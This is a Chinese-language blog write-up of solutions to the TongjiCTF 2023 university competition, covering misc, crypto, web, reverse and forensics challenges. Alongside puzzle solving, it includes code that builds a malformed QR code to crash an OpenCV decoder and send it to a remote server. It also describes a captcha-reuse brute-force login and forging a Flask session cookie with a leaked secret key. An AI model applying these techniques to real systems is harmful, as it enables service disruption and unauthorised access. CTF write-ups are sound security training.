TongjiCTF-2023-Writeup

ZianTT Lv1

排名及解出题目

老规矩先放排名

排名

这次同济校赛我是用特殊的办法进去打的,获得rank5感觉还行,但还要继续努力努力

然后这是解出的题目

解出题目

Misc

天狗不可告人的过往

题目链接
打开一看,腾讯文档(梦回USTC HackerGame2022)

登录之后发现有编辑权限,根据提示,查看历史版本,拉到第一版,查看一下有不少修改记录,发现flag。

修订记录

天狗的加密消息

根据提示,和上一届Python 学位考核有关,考点是pyc文件的反编译。

看到一堆图片,随便选一个加个后缀名tougue_dog.cpython-33.jpg.pyc,在线反编译得到

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.3

import abc
from base64 import b64decode
mapping_rp = '́\nщ\nе\nр\nт\nы\nу\nи\nо\nп\nа\nс\nд\nф\nг\nх\nй\nк\nл\nз\nх\nц\nв\nб\nн\nм\nQ\nЩ\nЕ\nР\nТ\nЫ\nУ\nИ\nО\nП\nА\nС\nД\nФ\nГ\nХ\nЙ\nК\nЛ\nЗ\nХ\nЦ\nВ\nБ\nН\nМ\n+\n/\n='.replace('\n', '')
mapping_en = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM+/='
rp_to_en = str.maketrans(mapping_rp, mapping_en)
en_to_rp = str.maketrans(mapping_en, mapping_rp)

def AnyAbstractClass(__locals__):
    '''AnyAbstractClass'''
    
    def some_method(self):
        ...

    some_method = abc.abstractmethod(some_method)
    
    def any_validation_method(self):
        pass

    
    def get_flag():
        raise NotImplementedError

    get_flag = ('return',)(get_flag)
    
    def decrypt_flag(flag):
        raise NotImplementedError

    decrypt_flag = ('flag', 'return')(decrypt_flag)

AnyAbstractClass = <NODE:27>(AnyAbstractClass, 'AnyAbstractClass', abc.ABC)

class Foo(AnyAbstractClass):
    
    def some_method(self):
        pass

    
    def get_flag():
        return 'БЕИЕОQРГБЕИЕРАБ7БЕАЕНQQ8БДУЕПАQхБДУЕQАБфБД0ЕПгБфБЕАЕQщРББЕЕЕОАQщБД0АфQ=='

    get_flag = ('return',)(get_flag)


class Bar(AnyAbstractClass):
    
    def some_method(self):
        pass

    
    def decrypt_flag(flag):
        return b64decode(flag.translate(rp_to_en).encode('utf-8')).decode('utf-16-be').translate(rp_to_en)

    decrypt_flag = ('flag', 'return')(decrypt_flag)

if __name__ == '__main__':
    print('🌙')

看得出来,base64解码,直接执行decode函数,得到flag。

PS C:\Users\25081> python
Python 3.10.11 (tags/v3.10.11:7d4cc5a, Apr  5 2023, 00:38:17) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from base64 import b64decode
>>> mapping_rp = '́\nщ\nе\nр\nт\nы\nу\nи\nо\nп\nа\nс\nд\nф\nг\nх\nй\nк\nл\nз\nх\nц\nв\nб\nн\nм\nQ\nЩ\nЕ\nР\nТ\nЫ\nУ\nИ\nО\nП\nА\nС\nД\nФ\nГ\nХ\nЙ\nК\nЛ\nЗ\nХ\nЦ\nВ\nБ\nН\nМ\n+\n/\n='.replace('\n', '')
>>> mapping_en = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM+/='
>>> rp_to_en = str.maketrans(mapping_rp, mapping_en)
>>> en_to_rp = str.maketrans(mapping_en, mapping_rp)
>>> flag = 'БЕИЕОQРГБЕИЕРАБ7БЕАЕНQQ8БДУЕПАQхБДУЕQАБфБД0ЕПгБфБЕАЕQщРББЕЕЕОАQщБД0АфQ=='
>>> b64decode(flag.translate(rp_to_en).encode('utf-8')).decode('utf-16-be').translate(rp_to_en)
'tjctf{remember_no_russian}'
>>>

天狗的规则

简单一道签到题,前往规则F12看到<center style="display:none">tjctf{make_sure_you_read_all_the_rules}</center>

天狗的 Git 学位考核

发现了一个.git文件夹,根据经验git泄露。

使用开源项目Git_Extract得到flagflag1encrypt.py,丢给encrypt.pyGPT写个解密函数。

from Crypto.Cipher import AES
from os import environ
from hashlib import md5

def decrypt(path1, path2):
    with open(path1, 'rb') as f:
        enc1 = f.read()
    with open(path2, 'rb') as f:
        enc2 = f.read()
    enc = b''.join(bytes([enc1[i], enc2[i]]) for i in range(len(enc1)))
    key = md5(b'xyptql').hexdigest().encode()
    cipher = AES.new(key, AES.MODE_ECB)
    pt = cipher.decrypt(enc)
    sz = pt[-1]
    pt = pt[:-sz]
    return pt.decode()

def encrypt(secret, path1, path2):
    def pad(pt):
        sz = AES.block_size - (len(pt) % AES.block_size)
        return pt + sz * bytes([sz])
    key = md5(b'xyptql').hexdigest().encode()
    cipher = AES.new(key, AES.MODE_ECB)
    enc = cipher.encrypt(pad(secret.encode()))
    with open(path1, 'wb') as f:
        f.write(enc[::2])
    with open(path2, 'wb') as f:
        f.write(enc[1::2])

if __name__ == '__main__':
    #encrypt(environ['flag'], 'flag', 'flag2')
    print(decrypt('flag', 'flag2'))

天狗问答

Q1:2023年同济大学图书馆SciFinder数据库单一来源采购项目的采购预算为多少万元?(带小数点的数字,精确到小数点后 4 位)

前往同济大学采购与招标管理办公室官网搜索得到采购文件,得到109.6069万元

A1:109.6069

Q2:我校的 IBM Mainframe 的具体型号为?([A-Z][0-9]*)

搜索得到IBM中心介绍,得到Z900

A2:Z900

Q3:TOSA2020寒假活动的内存杂谈的讲座中出现的256MB DDR-400MHz-CL3 内存条的型号为?(V 开头的一行字)

搜索得到当日讲座录屏,29:00看到图片,稍加辨识和搜索确认得到型号

A3:V826632K24SATG-D3

Q4:有一位学长把一份 writeup 放在了 03acac914f039b1 为部分 SHA 值的 commit 里,这个 writeup 的标题是什么?(五个汉字)

GitHub搜索这个commit,得到答案:迟到的签到

A4:迟到的签到

Q5:从 https://sse.tongji.edu.cn/Assets/userfiles/sys_eb538c1c-65ff-4e82-8e6a-a1ef01127fed/files/2007A-word.doc 下载得到的文件的 md5 值是?(小写+数字)

直接访问发现404,估计是删除了,那么去互联网档案馆Internet Archive: Wayback Machine搜索这个网址,发现备份下载后计算md5(我是用的Windows Files属性看的,超好用!)。

A5:2375191217b329cb8f518e706213636f

Q6:第一届 tongjiCTF 一共有几条题目?(一个整数)

搜索同济大学第一届信息安全竞赛,得到同济大学第一届信息安全竞赛举行-同济大学新闻网**得到23题。

A6:23

天狗破防的二维码

天狗感到心跳加速,手指颤抖着,还没来得及仔细观察,突然软件崩溃了。他顿时惊恐万分,整个人破防了!

根据上述信息,应该是最近流行的OpenCV的崩溃,微信等大厂软件也中招,找到GZTime大佬给出的复现代码,改了改传上去(直接构造原二维码不让过QAQ)

import qrcode
from qrcode.util import *

def hack_put(self, num, length):
    if num == 0:
        num = 233 # make a fake length
    for i in range(length):
        self.put_bit(((num >> (length - i - 1)) & 1) == 1)

qrcode.util.BitBuffer.put = hack_put

qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)

num_data = QRData('1919810', MODE_NUMBER)
data = QRData(b'.', MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)

# make sure all data is fit to the max content length for this version
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
# add a zero length data to make the length of the data to be 233
qr.add_data(hack_data)

qr.make_image().save('qr.png')

再来个传qr的

from pwn import *
import base64

pic =  base64.b64encode(open('qr.png','rb').read())

p = remote('11.45.141.91',9810)
p.sendline(pic)
p.interactive()

Crypto

天狗的书

还挺整齐,由此想到单表替换,把最后一段扔进quipqiup,发现flag不对,看了看数字没被替换,根据前面的内容,可以推断前面的数字是段落编号,由此修改flag,提交成功。

天狗初⼊ RSA

直接常规解密发现e,p有最大公约数为e,不能直接解,搜索一下得到AMM算法,写个脚本跑出来。

import random
import math
import libnum
import time
from Crypto.Util.number import bytes_to_long,long_to_bytes
p = 0
#设置模数
def GF(a):
    global p
    p = a
#乘法取模
def g(a,b):
    global p
    return pow(a,b,p)


def AMM(x,e,p):
    GF(p)
    y = random.randint(1, p-1)
    while g(y, (p-1)//e) == 1:
        y = random.randint(1, p-1)
        print(y)
    print("find")
    #p-1 = e^t*s
    t = 1
    s = 0
    while p % e == 0:
        t += 1
        print(t)
    s = p // (e**t)
    print('e',e)
    print('p',p)
    print('s',s)
    print('t',t)
    # s|ralpha-1
    k = 1    
    while((s * k + 1) % e != 0):
        k += 1
    alpha = (s * k + 1) // e
    #计算a = y^s b = x^s h =1
    #h为e次非剩余部分的积
    a = g(y, (e ** (t - 1) ) * s)
    b = g(x, e * alpha - 1)
    c = g(y, s)
    h = 1
    #
    for i in range(1, t-1):
        d = g(b,e**(t-1-i))
        if d == 1:
            j = 0
        else:
            j = -math.log(d,a)
        b = b * (g(g(c, e), j))
        h = h * g(c, j)
        c = g(c, e)
    #return (g(x, alpha * h)) % p
    root = (g(x, alpha * h)) % p
    roots = set()
    for i in range(e):
        mp2 = root * g(a,i) %p
        #assert(g(mp2, e) == x)
        roots.add(mp2)
    return roots
def check(m):
    if 'tjctf' in m:
        print(m)
        return True
    else:
        #print('False:'+m)
        return False

e = 199
p = 145557985734409965449863646481604844684617267174664218983934020223773388172031305485715863502102757345098521151371863226019564984990494300042377533564256181306794920909553423202099942155075942207584728865952155525676467828237012085600814232360180287607381128566451171395006531193135538119291045156422337389023
q = 119435614729098205167891495622935475895825125205658263873877513259005279450662389398847986457671101323332228463304323215482557194186114363598571604449120023623645421945077118793819760905659541678346297546346777467087838008581957596142737178508076514437494284909591710910940569157666364667460368679437375115569
c = 5339849689218839330216167217585149865398415423598800509728324508163911026218911903680014939409406220597713159811846121685433856176399443106675575846865415351614989127912368766671826579777778345629973003022068575649621285689601461613210801448894001127608187322937260496981276078849729354492506487413200500673989998768073572004465005449346134198943265948345072326128207047159994162689560740974159915757688875580192130933552249798644781721112858626325389940736128042465782342680138969498721216015042520398506384206799456364670437484421195196156957113066940848650433881547294295779234447963219154502252852448212789985507

mps = AMM(c,e,p)
for mpp in mps:
        solution = str(long_to_bytes(mpp))
        if check(solution):
           print(solution)
find
e 199
p 145557985734409965449863646481604844684617267174664218983934020223773388172031305485715863502102757345098521151371863226019564984990494300042377533564256181306794920909553423202099942155075942207584728865952155525676467828237012085600814232360180287607381128566451171395006531193135538119291045156422337389023
s 731447164494522439446550987344747963239282749621428236100170955898358734532820630581486751266848026859791563574732981035274195904474845728856168510373146639732637793515343835186431870126009759837109190281166610681791295619281467766838262474171760239233070997821362670326665985895153457885884649027247926578
t 1
b'tjctf{iltTI1_B@bi_iS_RaeIli_ybab!}'
b'tjctf{iltTI1_B@bi_iS_RaeIli_ybab!}'

Pwn

半点不会,摆

nc-test

nc 114.51.41.91 9810

Web

天狗的会员制猜猜乐

题目链接

F12失败直接诈骗,直接view-source,看到个jsfuck,丢去解密

(function () {
    document.querySelector("input").addEventListener("input", function (e) {
        if (e.target.value.split("").map(element => element.charCodeAt(0)).map((i, c) => c == [116,106,99,116,102,123,99,48,110,103,114,65,116,117,49,52,116,73,48,78,115,95,121,79,117,95,70,79,117,110,100,95,77,101,125][i]).all()) {
            alert("恭喜你\uFF0C猜对了\uFF01");
        }
    });
    console.log(Object.defineProperties(new Error(), {
        message: {
            get() {
                window.location.href = "https://www.bilibili.com/video/BV1uT4y1P7CX/";
            }
        },
        toString: {
            value() {
                if (new Error().stack.includes("toString@")) {
                    window.location.href = "https://www.bilibili.com/video/BV1uT4y1P7CX/";
                }
            }
        }
    }));
    document.body.onfocus = function () {
        document.title = "大爷\uFF0C快来猜flag呀~~";
    };
    document.body.onblur = function () {
        document.title = "大爷\uFF0C别走啊~~";
    };
    document.querySelector("script").innerHTML = "";
}());

116,106,99,116,102,123,99,48,110,103,114,65,116,117,49,52,116,73,48,78,115,95,121,79,117,95,70,79,117,110,100,95,77,101,125这段东西丢进cyberchef的magic(From_Decimal(‘Comma’,false))解密一下,结束。tjctf{c0ngrAtu14tI0Ns_yOu_FOund_Me}

天狗的爆破

根据源码,发现每次的code都在session[sid]中,而用过的验证码没有进行revoke操作,故而可以复用验证码进行爆破。

打开BurpSuite,Proxy Browser,手动登录一次,把登录的请求包send to intruder再drop掉

把3333-6666的源码中top10000字典贴进去(反正我全贴了),单参数开始爆破,稍等一会就出了,过滤一下tjctf获得flag。(运气也够差的)

爆破成功

天狗的秘密

一道题目云里雾里的,看看源码。

发现在/read_secret传入?path=static/flag就能拿flag

但是根据if pattern.search(path) and session['pri'] != 'nvshen':不能直接拿flag,看源码感觉少了什么,获取一下?path=app.py拿到secretkey。

不准告诉别人哦,from flask import Flask, render_template, request, session, redirect, url_for import re app = Flask(__name__) app.secret_key = 'dalpdqdqd-#%^cazcsad;asdafad' @app.route('/') def index(): return render_template('index.html') @app.route('/change_username', methods=['POST']) def change_username(): username = request.form['username'] session['username'] = username session['pri'] = "normal" return redirect(url_for('index')) @app.route('/read_secret',methods=['GET']) def read_key(): path = request.args.get("path") if path == None: path = "static/secrets" else: pattern = re.compile(r'\.\./|\.\.|\\') if pattern.search(path): return "No hacker!" pattern = re.compile(r'flag') if pattern.search(path) and session['pri'] != 'nvshen': return "No hacker!" with open(path,"r", encoding='utf-8') as fin: secrets = fin.read() return "不准告诉别人哦,{}".format(secrets) if __name__ == "__main__": app.run(host="0.0.0.0", port="5000",debug=True)

使用开源的flask_session_cookie_manager对session的cookie进行解密,改nvshen和重加密,获得flag。

重加密

天狗的一句话

很简单一道题,蚂剑连接,密码填1,flag在根目录

Reverse

天狗教你用 IDA

IDA打开,F5解密

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4[32]; // [rsp+10h] [rbp-B0h]
  char s[8]; // [rsp+90h] [rbp-30h] BYREF
  __int64 v6; // [rsp+98h] [rbp-28h]
  __int64 v7; // [rsp+A0h] [rbp-20h]
  __int64 v8; // [rsp+A8h] [rbp-18h]
  char v9; // [rsp+B0h] [rbp-10h]
  char v10; // [rsp+B7h] [rbp-9h]
  int v11; // [rsp+B8h] [rbp-8h]
  int v12; // [rsp+BCh] [rbp-4h]

  *(_QWORD *)s = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0;
  puts("Please input your flag(tjctf{}):");
  __isoc99_scanf("%32s", s);
  v11 = strlen(s);
  v4[0] = 10;
  v4[1] = 22;
  v4[2] = 12;
  v4[3] = 9;
  v4[4] = 3;
  v4[5] = 20;
  v4[6] = 28;
  v4[7] = 11;
  v4[8] = 25;
  v4[9] = 6;
  v4[10] = 26;
  v4[11] = 29;
  v4[12] = 13;
  v4[13] = 27;
  v4[14] = 24;
  v4[15] = 14;
  v4[16] = 23;
  v4[17] = 31;
  v4[18] = 7;
  v4[19] = 5;
  v4[20] = 17;
  v4[21] = 1;
  v4[22] = 16;
  v4[23] = 18;
  v4[24] = 30;
  v4[25] = 4;
  v4[26] = 15;
  v4[27] = 8;
  v4[28] = 0;
  v4[29] = 2;
  v4[30] = 19;
  v4[31] = 21;
  v12 = 0;
  v10 = 0;
  if ( v11 == 32 )
  {
    v10 = s[0];
    while ( v4[v12] )
    {
      s[v12] = s[v4[v12]];
      v12 = v4[v12];
    }
    s[v12] = v10;
    if ( !strncmp(s, "0s_nt_pw1IDryA_O4}_{cj_@ofuktcnu", 0x20uLL) )
      puts("Right!");
    else
      puts("Wrong!");
  }
  else
  {
    puts("Wrong!");
  }
  return 0;
}

根据数组对应和字符串一个个对罢,反正不要多久(无慈悲)

Forensics

天狗的好康流量

用Wireshark打开pcap文件,过滤一下http流量,按字节数排序,看到有个地方传了个avater,b64编码,丢进cyberchef解密,下载下来。

涩图

binwalk看一下发现zip,打开发现密码,丢进stegsolve发现一个二维码,扫描后得到密码,解压zip得到flag。

二维码

Hardware

天狗的路由器【表】

看看图片,exif定位一下去现场看看就有了(喜)

夹带私货的路由器

  • 标题: TongjiCTF-2023-Writeup
  • 作者: ZianTT
  • 创建于 : 2023-05-09 23:49:33
  • 更新于 : 2023-05-11 00:15:00
  • 链接: https://redefine.ohevan.com/2023/TongjiCTF-2023-Writeup/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论